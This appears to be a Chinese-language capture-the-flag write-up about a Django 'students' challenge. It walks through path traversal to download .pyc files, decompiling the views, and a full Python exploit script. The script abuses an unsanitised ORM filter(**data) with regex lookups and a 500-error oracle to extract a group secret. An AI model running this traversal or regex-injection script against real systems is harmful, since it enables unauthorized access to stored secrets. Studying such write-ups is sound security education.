Author:l3m0n

页面中有一个js:http://54.223.46.206:8003/static/js/login.js 发现是能够进行文件读取的 (具体见:http://wooyun.jozxing.cc/static/drops/papers-5040.html ),但是对conf、py等后缀做了限制。

通过http的返回头也知道一些信息:Server:gunicorn/19.6.0 Django/1.10.3 CPython/3.5.2

python3.x预编译文件会产生pyc
为了提高模块加载的速度,每个模块都会在__pycache__文件夹中放置该模块的预编译模块,命名为module.version.pyc,version是模块的预编译版本编码,一般都包含Python的版本号。例如在CPython 发行版3.4中,fibo.py文件的预编译文件就是:__pycache__/fibo.cpython-34.pyc

一个Django的一开始的配置文件:

所以可以先从这几个文件下手。

另外还有view.py和model.py

下载pyc文件

wget 54.223.46.206:8003/static/%2e%2e/__pycache__/views.cpython-35.pyc  

用uncompyle6反编译pyc成py

urls.py

from django.conf.urls import url  
from . import views  
urlpatterns = [  
 url('^$', views.IndexView.as_view(), name='index'),
 url('^login/$', views.LoginView.as_view(), name='login'),
 url('^logout/$', views.LogoutView.as_view(), name='logout'),
 url('^static/(?P<path>.*)', views.StaticFilesView.as_view(), name='static')]

model.py

from django.db import models

class Student(models.Model):  
    name = models.CharField('', max_length=64, unique=True)
    no = models.CharField('', max_length=12, unique=True)
    passkey = models.CharField('', max_length=32)
    group = models.ForeignKey('Group', verbose_name='', on_delete=models.CASCADE, null=True, blank=True)

    class Meta:
        verbose_name = ''
        verbose_name_plural = verbose_name

    def __str__(self):
        return self.name

class Group(models.Model):  
    name = models.CharField('', max_length=64)
    information = models.TextField('')
    secret = models.CharField('', max_length=128)
    created_time = models.DateTimeField('', auto_now_add=True)

    class Meta:
        verbose_name = ''
        verbose_name_plural = verbose_name

    def __str__(self):
        return self.name

view.py

import json  
import os  
from wsgiref.util import FileWrapper  
from django.shortcuts import render, redirect  
from django.urls import reverse_lazy  
from django.views import generic  
from django.http import JsonResponse  
from django.core import exceptions  
from django.http import HttpResponse, Http404  
from django.conf import settings  
from django.db.models import F  
from . import models

class RequireLoginMixin(object):  
    login_url = reverse_lazy('students:login')

    def handle_no_permission(self):
        return redirect(self.login_url)

    def dispatch(self, request, *args, **kwargs):
        if request.session.get('is_login', None) != True:
            return self.handle_no_permission()
        return super(RequireLoginMixin, self).dispatch(request, *args, **kwargs)

class JsonResponseMixin(object):

    def _jsondata(self, msg, status_code=200):
        return JsonResponse({'message': msg}, status=status_code)

class LoginView(JsonResponseMixin, generic.TemplateView):  
    template_name = 'login.html'

    def post(self, request, *args, **kwargs):
        data = json.loads(request.body.decode())
        stu = models.Student.objects.filter(**data).first()
        if not stu or stu.passkey != data['passkey']:
            return self._jsondata('', 403)
        else:
            request.session['is_login'] = True
            return self._jsondata('', 200)

class LogoutView(RequireLoginMixin, JsonResponseMixin, generic.RedirectView):  
    url = reverse_lazy('students:login')

    def get(self, request, *args, **kwargs):
        request.session.flush()
        return super(LogoutView, self).get(request, *args, **kwargs)

class IndexView(RequireLoginMixin, JsonResponseMixin, generic.TemplateView):  
    template_name = 'index.html'

    def post(self, request, *args, **kwargs):
        ret = []
        for group in models.Group.objects.all():
            ret.append(dict(name=group.name, information=group.information, created_time=group.created_time, members=list(group.student_set.values('name', 'id').all())))

        return self._jsondata(ret, status_code=200)

class StaticFilesView(generic.View):  
    content_type = 'text/plain'

    def get(self, request, *args, **kwargs):
        filename = self.kwargs['path']
        filename = os.path.join(settings.BASE_DIR, 'students', 'static', filename)
        name, ext = os.path.splitext(filename)
        if ext in ('.py', '.conf', '.sqlite3', '.yml'):
            raise exceptions.PermissionDenied('Permission deny')
            try:
                return HttpResponse(FileWrapper(open(filename, 'rb'), 8192), content_type=self.content_type)
            except BaseException as e:
                raise Http404('Static file not found')

其中在loginView里面有个关键的地方就是

data = json.loads(request.body.decode())  
stu = models.Student.objects.filter(**data).first()  
if not stu or stu.passkey != data['passkey']:  

看下官方文档:

filter是接收关键字变量参数(字典类型),**kwargs

其中filter是作为条件语句使用的,类似where,里面的参数相当于条件,多条件的时候是以and连接。这也表示where后面的条件我们是可控的。于是可以形成注入。

看下filter中的操作关键字

operators = {  
        'exact': '= %s',
        'iexact': 'LIKE %s',
        'contains': 'LIKE BINARY %s',
        'icontains': 'LIKE %s',
        'regex': 'REGEXP BINARY %s',
        'iregex': 'REGEXP %s',
        'gt': '> %s',
        'gte': '>= %s',
        'lt': '< %s',
        'lte': '<= %s',
        'startswith': 'LIKE BINARY %s',
        'endswith': 'LIKE BINARY %s',
        'istartswith': 'LIKE %s',
        'iendswith': 'LIKE %s',
    }

比如startswith,

        if not stu or stu.passkey != data['passkey']:
            return self._jsondata('', 403)
        else:
            request.session['is_login'] = True
            return self._jsondata('', 200)

filter查询有结果,但是没有data['passkey']这个值传入的话,python会报500的错误。

exp:

import requests  
import  json

url = "http://54.223.46.206:8003/login/"

headers = {"Content-Type": "application/x-www-form-urlencoded"}  
payload = "abcdefghijklmnopqrstuvwxyz0123456789:"  
current_data = ""

def check(current_data):  
    temp = current_data
    for p in payload:
        temp += p
        data = "^%s.*" % temp
        post_data = "%s" %  json.dumps({"name__regex": data})
        r = requests.post(url,data=post_data,headers = headers)
        if r.status_code == 500:
            return p
        temp = current_data

for k in range(80):  
    current_data += check(current_data)
    print "%dth data: %s" % (k,current_data)

在model.py中还有一个Group表,Student的外键就是它。 所以可以通过外键查询group的secret。group__secret__regex最后get flag。